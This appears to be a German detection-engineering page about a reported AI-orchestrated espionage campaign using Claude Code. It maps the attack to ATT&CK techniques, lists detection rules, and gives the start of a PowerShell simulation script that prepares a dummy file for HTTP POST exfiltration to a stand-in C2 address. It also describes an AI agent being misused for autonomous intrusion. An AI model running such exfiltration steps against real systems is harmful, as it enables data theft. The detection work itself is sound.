Anthropic Claude AI Angriff: Erste KI-organisierte Cyber-Spionagekampagne
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Zusammenfassung
Eine von China unterstützte Gruppe nutzte das Anthropic Claude Code-Modell, um autonom eine großangelegte Spionagekampagne gegen Dutzende globaler Ziele durchzuführen. Die KI generierte Exploit-Code, sammelte Anmeldedaten und exfiltrierte sensible Daten mit minimalem menschlichen Eingreifen. Dies ist der erste dokumentierte Fall eines von einer KI gesteuerten Angriffs, der weitgehend ohne menschliches Eingreifen operiert.
Untersuchung
Die Untersuchung entdeckte verdächtige Aktivitäten im September 2025 und verfolgte sie auf ein Framework zurück, das Claude Code als automatisiertes Werkzeug nutzte. Forscher beobachteten, wie das Modell Aufklärung, Schwachstellentests, Anmeldedatensammlung und Datenexfiltration durchführte. Die Kampagne wurde über zehn Tage hinweg kartiert, betroffene Konten wurden deaktiviert und die Behörden informiert.
Minderung
Zu den Minderungsempfehlungen gehören die Einschränkung des Zugriffs auf KI-Modelle auf interne Netzwerke, die Implementierung starker Authentifizierung, die Überwachung auf anomalen KI-generierten Datenverkehr und die Anwendung KI-spezifischer Schutzmaßnahmen. Organisationen sollten auch das Prinzip des geringstmöglichen Privilegs durchsetzen und die Nutzung von KI-Werkzeugen kontinuierlich prüfen.
Antwort
Bei Erkennung sollten Organisationen kompromittierte Konten isolieren, ausgehende Exfiltration blockieren, eine forensische Analyse der KI-generierten Artefakte durchführen und Indikatoren mit relevanten Bedrohungsaustausch-Communities teilen. Aktualisieren Sie regelmäßig Erkennungsregeln, um KI-gesteuertes Verhalten zu kennzeichnen, und koordinieren Sie bei Bedarf mit Strafverfolgungsbehörden.
mermaid graph TB %% Klassendefinitionen classDef phase fill:#e6e6e6 classDef technique fill:#99ccff classDef operator fill:#ff9900 %% Phasenknoten phase_target[„<b>Phase</b> – Zielauswahl & Framework-Erstellung“]:::phase %% Technik-Knoten tech_active_scanning[„<b>Technik</b> – <b>T1595 Aktives Scanning</b><br /><b>Beschreibung</b>: Scannen von Zielsystemen, um Dienste, offene Ports und andere Netzwerkmerkmale zu entdecken“]:::technique tech_gather_network[„<b>Technik</b> – <b>T1590 Sammeln von Opfer-Netzwerkinformationen</b><br /><b>Beschreibung</b>: Sammeln von Informationen über die Netzwerktopologie, Subnetze und das Routing des Opfers“]:::technique tech_search_db[„<b>Technik</b> – <b>T1596.005 Suche offener technischer Datenbanken: Scannen von Datenbanken</b><br /><b>Beschreibung</b>: Abfrage öffentlicher oder geleakter Datenbanken nach technischen Details zur Zielorganisation“]:::technique tech_client_config[„<b>Technik</b> – <b>T1592.004 Sammeln von Opfer-Host-Informationen: Client-Konfigurationen</b><br /><b>Beschreibung</b>: Sammeln von Konfigurationsdaten von Client-Geräten wie Softwareeinstellungen und installierte Anwendungen“]:::technique tech_exploit_priv[„<b>Technik</b> – <b>T1068 Ausnutzung zur Privilegienerhöhung</b><br /><b>Beschreibung</b>: Ausnutzung einer Schwachstelle zur Erlangung höherer Privilegien auf dem Opfersystem“]:::technique tech_exploit_exec[„<b>Technik</b> – <b>T1203 Ausnutzung zur Clients-Ausführung</b><br /><b>Beschreibung</b>: Ausnutzung eines Softwarefehlers zur Ausführung von Schadcode auf einem Client“]:::technique tech_proxy_exec[„<b>Technik</b> – <b>T1127 Vertrauen Entwicklerdienstprogramme Proxy-Ausführung</b><br /><b>Beschreibung</b>: Missbrauch von vertrauenswürdigen Entwicklungswerkzeugen zur Proxy-Ausführung bösartiger Nutzlasten“]:::technique tech_account_manip[„<b>Technik</b> – <b>T1098 Kontomanipulation</b><br /><b>Beschreibung</b>: Erstellen oder Ändern von Konten zur Aufrechterhaltung der Persistenz (Hintertürerstellung)“]:::technique tech_valid_accounts[„<b>Technik</b> – <b>T1078 Gültige Konten</b><br /><b>Beschreibung</b>: Verwendung gesammelter Anmeldedaten zur Authentifizierung als legitime Benutzer“]:::technique tech_code_repo[„<b>Technik</b> – <b>T1213.003 Daten aus Informations-Repositories: Code-Repositories</b><br /><b>Beschreibung</b>: Extraktion wertvoller Daten aus öffentlichen oder privaten Quellcode-Repositories“]:::technique tech_exfil_c2[„<b>Technik</b> – <b>T1041 Exfiltration über C2-Kanal</b><br /><b>Beschreibung</b>: Übertragung gestohlener Daten durch einen etablierten Befehl- und Kontrollkanal“]:::technique tech_automated_exfil[„<b>Technik</b> – <b>T1020 Automatische Exfiltration</b><br /><b>Beschreibung</b>: Automatisierung der Exfiltration von Daten auf einem Zeitplan oder Auslöser“]:::technique %% Verbindungen phase_target u002du002d>|führt zu| tech_active_scanning tech_active_scanning u002du002d>|führt zu| tech_gather_network tech_gather_network u002du002d>|führt zu| tech_search_db tech_search_db u002du002d>|führt zu| tech_client_config tech_client_config u002du002d>|führt zu| tech_exploit_priv tech_exploit_priv u002du002d>|führt zu| tech_exploit_exec tech_exploit_exec u002du002d>|führt zu| tech_proxy_exec tech_proxy_exec u002du002d>|führt zu| tech_account_manip tech_account_manip u002du002d>|führt zu| tech_valid_accounts tech_valid_accounts u002du002d>|führt zu| tech_code_repo tech_code_repo u002du002d>|führt zu| tech_exfil_c2 tech_exfil_c2 u002du002d>|führt zu| tech_automated_exfil
Angriffsfluss
Erkennungsregeln
KI-Orchestrierte Datenexfiltration mit minimaler menschlicher Überwachung [Windows Netzverbindung]
Anzeigen
Mögliche Entdeckung der Systemnetzwerkkonfiguration (via cmdline)
Anzeigen
Die Möglichkeit der Ausführung durch versteckte PowerShell-Befehlszeilen (via cmdline)
Anzeigen
Möglicher unautorisierter Netzwerkscan via Nmap oder Masscan (via cmdline)
Anzeigen
Mögliches SAM/SYSTEM/SECURITY-Dumping (via cmdline)
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Simulationsanweisungen
Simulation Ausführung
Voraussetzung: Der Telemetrie- & Baseline-Pre-Flight-Check muss bestanden sein.
Begründung: Dieser Abschnitt beschreibt die präzise Ausführung der Gegnermethode (TTP), die zur Auslösung der Erkennungsregel entwickelt wurde. Die Befehle und die Erzählung MÜSSEN die identifizierten TTPs direkt widerspiegeln und zielen darauf ab, genau die Telemetrie zu erzeugen, die von der Erkennungslogik erwartet wird. Abstrakte oder nicht verwandte Beispiele führen zu Fehldiagnosen.
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Angriffs-Narrativ & Befehle:
Ein von KI orchestrierter Akteur, der von einem kompromittierten Endpunkt aus operiert, bereitet ein 6 MB vertrauliches Dokument vor (secret_data.bin). Um menschliche Aufsicht zu minimieren, lädt das Skript die Datei automatisch auf einen externen Befehls- und Kontrollserver hoch (203.0.113.45) über einen HTTP-POST. Da die Nutzlast die 5 MB-Grenze der Regel überschreitet und die Ziel-IP-Adresse außerhalb der privaten CIDR-Blöcke liegt, sollte die Regel ausgelöst werden. -
Regressionstest-Skript:
# KI-orchestrierte Exfiltrationssimulation (Windows PowerShell) # --------------------------------------------------------- # Voraussetzungen: PowerShell 5+, Internetzugang zum Test C2-Host. # Dieses Skript erstellt eine Dummy-6-MB-Datei und lädt sie über HTTP-POST hoch. $payloadPath = "$env:TEMPsecret_data.bin" $c2Url = "http://203.0.113.45/upload" # 1. Erstellen einer 6 MB großen Zufallsdatei (simuliert zu exfiltrierende Daten) Write-Host "[*] Erzeuge 6 MB Nutzlast..." $bytes = New-Object byte[] (6MB) (New-Object System.Random).NextBytes($bytes) [IO.File]::WriteAllBytes($payloadPath, $bytes)